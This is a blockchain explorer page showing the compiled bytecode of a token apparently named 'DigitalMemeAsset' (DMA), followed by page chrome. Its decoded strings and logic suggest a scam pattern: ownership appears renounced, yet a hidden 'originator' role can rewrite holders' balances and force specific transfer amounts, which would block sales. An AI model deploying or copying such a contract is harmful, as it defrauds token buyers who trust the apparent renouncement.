9190611a35565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161083891906113ad565b60405180910390a360019150509392505050565b60006012905090565b601281565b6108626111c6565b73ffffffffffffffffffffffffffffffffffffffff16610880610e22565b73ffffffffffffffffffffffffffffffffffffffff16146108d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cd90611b0f565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fbedf4d2c097368354ced1a647bd7f7343405c96c860cc61983c33be4d78af88660405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61099e6111c6565b73ffffffffffffffffffffffffffffffffffffffff166109bc610d72565b73ffffffffffffffffffffffffffffffffffffffff1614610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0990611ba1565b60405180910390fd5b6000811015610a56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4d90611c0d565b60405180910390fd5b60005b8251811015610bdd576000838281518110610a7757610a76611c2d565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610af0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae790611ca8565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fd0b84698f0ba38c686072a2a45b9fa75f428daca5bd1d226f87123243e86c6f88286604051610bc0929190611cc8565b60405180910390a250508080610bd590611cf1565b915050610a59565b505050565b6040518060400160405280601081526020017f4469676974616c4d656d6541737365740000000000000000000000000000000081525081565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c6c6111c6565b73ffffffffffffffffffffffffffffffffffffffff16610c8a610d72565b73ffffffffffffffffffffffffffffffffffffffff1614610ce0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd790611ba1565b60405180910390fd5b60005b83839050811015610d6c578160036000868685818110610d0657610d05611c2d565b5b9050602002016020810190610d1b91906115f6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080610d6490611cf1565b915050610ce3565b50505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606040518060400160405280600381526020017f444d410000000000000000000000000000000000000000000000000000000000815250905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008160026000610e5a6111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ed6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecd90611d85565b60405180910390fd5b6000610ee8610ee36111c6565b610d9c565b90506000811115610f3657808314610f35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2c90611a15565b60405180910390fd5b5b8260026000610f436111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f8c9190611a35565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fe29190611a69565b925050819055508373ffffffffffffffffffffffffffffffffffffffff166110086111c6565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161104d91906113ad565b60405180910390a3600191505092915050565b6012600a61106e91906118aa565b620186a061107c91906118f5565b81565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61110e6111c6565b73ffffffffffffffffffffffffffffffffffffffff1661112c610e22565b73ffffffffffffffffffffffffffffffffffffffff1614611182576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117990611b0f565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b838110156112085780820151818401526020810190506111ed565b60008484015250505050565b6000601f19601f8301169050919050565b6000611230826111ce565b61123a81856111d9565b935061124a8185602086016111ea565b61125381611214565b840191505092915050565b600060208201905081810360008301526112788184611225565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006112bf82611294565b9050919050565b6112cf816112b4565b81146112da57600080fd5b50565b6000813590506112ec816112c6565b92915050565b6000819050919050565b611305816112f2565b811461131057600080fd5b50565b600081359050611322816112fc565b92915050565b6000806040838503121561133f5761133e61128a565b5b600061134d858286016112dd565b925050602061135e85828601611313565b9150509250929050565b60008115159050919050565b61137d81611368565b82525050565b60006020820190506113986000830184611374565b92915050565b6113a7816112f2565b82525050565b60006020820190506113c2600083018461139e565b92915050565b6000806000606084860312156113e1576113e061128a565b5b60006113ef868287016112dd565b9350506020611400868287016112dd565b925050604061141186828701611313565b9150509250925092565b600060ff82169050919050565b6114318161141b565b82525050565b600060208201905061144c6000830184611428565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61148f82611214565b810181811067ffffffffffffffff821117156114ae576114ad611457565b5b80604052505050565b60006114c1611280565b90506114cd8282611486565b919050565b600067ffffffffffffffff8211156114ed576114ec611457565b5b602082029050602081019050919050565b600080fd5b6000611516611511846114d2565b6114b7565b90508083825260208201905060208402830185811115611539576115386114fe565b5b835b81811015611562578061154e88826112dd565b84526020840193505060208101905061153b565b5050509392505050565b600082601f83011261158157611580611452565b5b8135611591848260208601611503565b91505092915050565b600080604083850312156115b1576115b061128a565b5b600083013567ffffffffffffffff8111156115cf576115ce61128f565b5b6115db8582860161156c565b92505060206115ec85828601611313565b9150509250929050565b60006020828403121561160c5761160b61128a565b5b600061161a848285016112dd565b91505092915050565b600080fd5b60008083601f84011261163e5761163d611452565b5b8235905067ffffffffffffffff81111561165b5761165a611623565b5b602083019150836020820283011115611677576116766114fe565b5b9250929050565b6000806000604084860312156116975761169661128a565b5b600084013567ffffffffffffffff8111156116b5576116b461128f565b5b6116c186828701611628565b935093505060206116d486828701611313565b9150509250925092565b6116e7816112b4565b82525050565b600060208201905061170260008301846116de565b92915050565b6000806040838503121561171f5761171e61128a565b5b600061172d858286016112dd565b925050602061173e858286016112dd565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156117ce578086048111156117aa576117a9611748565b5b60018516156117b95780820291505b80810290506117c785611777565b945061178e565b94509492505050565b6000826117e757600190506118a3565b816117f557600090506118a3565b816001811461180b576002811461181557611844565b60019150506118a3565b60ff84111561182757611826611748565b5b8360020a91508482111561183e5761183d611748565b5b506118a3565b5060208310610133831016604e8410600b84101617156118795782820a90508381111561187457611873611748565b5b6118a3565b6118868484846001611784565b9250905081840481111561189d5761189c611748565b5b81810290505b9392505050565b60006118b5826112f2565b91506118c08361141b565b92506118ed7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846117d7565b905092915050565b6000611900826112f2565b915061190b836112f2565b9250828202611919816112f2565b915082820484148315176119305761192f611748565b5b5092915050565b7f416c6c6f77616e6365206c696d69742065786365656465640000000000000000600082015250565b600061196d6018836111d9565b915061197882611937565b602082019050919050565b6000602082019050818103600083015261199c81611960565b9050919050565b7f456e666f72636564207472616e7366657220616d6f756e74206d69736d61746360008201527f6800000000000000000000000000000000000000000000000000000000000000602082015250565b60006119ff6021836111d9565b9150611a0a826119a3565b604082019050919050565b60006020820190508181036000830152611a2e816119f2565b9050919050565b6000611a40826112f2565b9150611a4b836112f2565b9250828203905081811115611a6357611a62611748565b5b92915050565b6000611a74826112f2565b9150611a7f836112f2565b9250828201905080821115611a9757611a96611748565b5b92915050565b7f556e617574686f72697a6564206163636573732e2050726f70726965746f722060008201527f6f6e6c792e000000000000000000000000000000000000000000000000000000602082015250565b6000611af96025836111d9565b9150611b0482611a9d565b604082019050919050565b60006020820190508181036000830152611b2881611aec565b9050919050565b7f556e617574686f72697a6564206163636573732e204f726967696e61746f722060008201527f6578636c75736976652e00000000000000000000000000000000000000000000602082015250565b6000611b8b602a836111d9565b9150611b9682611b2f565b604082019050919050565b60006020820190508181036000830152611bba81611b7e565b9050919050565b7f416d6f756e74206d757374206265206e6f6e2d6e656761746976650000000000600082015250565b6000611bf7601b836111d9565b9150611c0282611bc1565b602082019050919050565b60006020820190508181036000830152611c2681611bea565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f496e76616c696420616464726573732070726f76696465640000000000000000600082015250565b6000611c926018836111d9565b9150611c9d82611c5c565b602082019050919050565b60006020820190508181036000830152611cc181611c85565b9050919050565b6000604082019050611cdd600083018561139e565b611cea602083018461139e565b9392505050565b6000611cfc826112f2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611d2e57611d2d611748565b5b600182019050919050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b6000611d6f6014836111d9565b9150611d7a82611d39565b602082019050919050565b60006020820190508181036000830152611d9e81611d62565b905091905056fea264697066735822122016c1b704f02d5847ba1c84d92018914bd42029c5e670cdc2af3c064675ed577564736f6c63430008110033
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 30 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.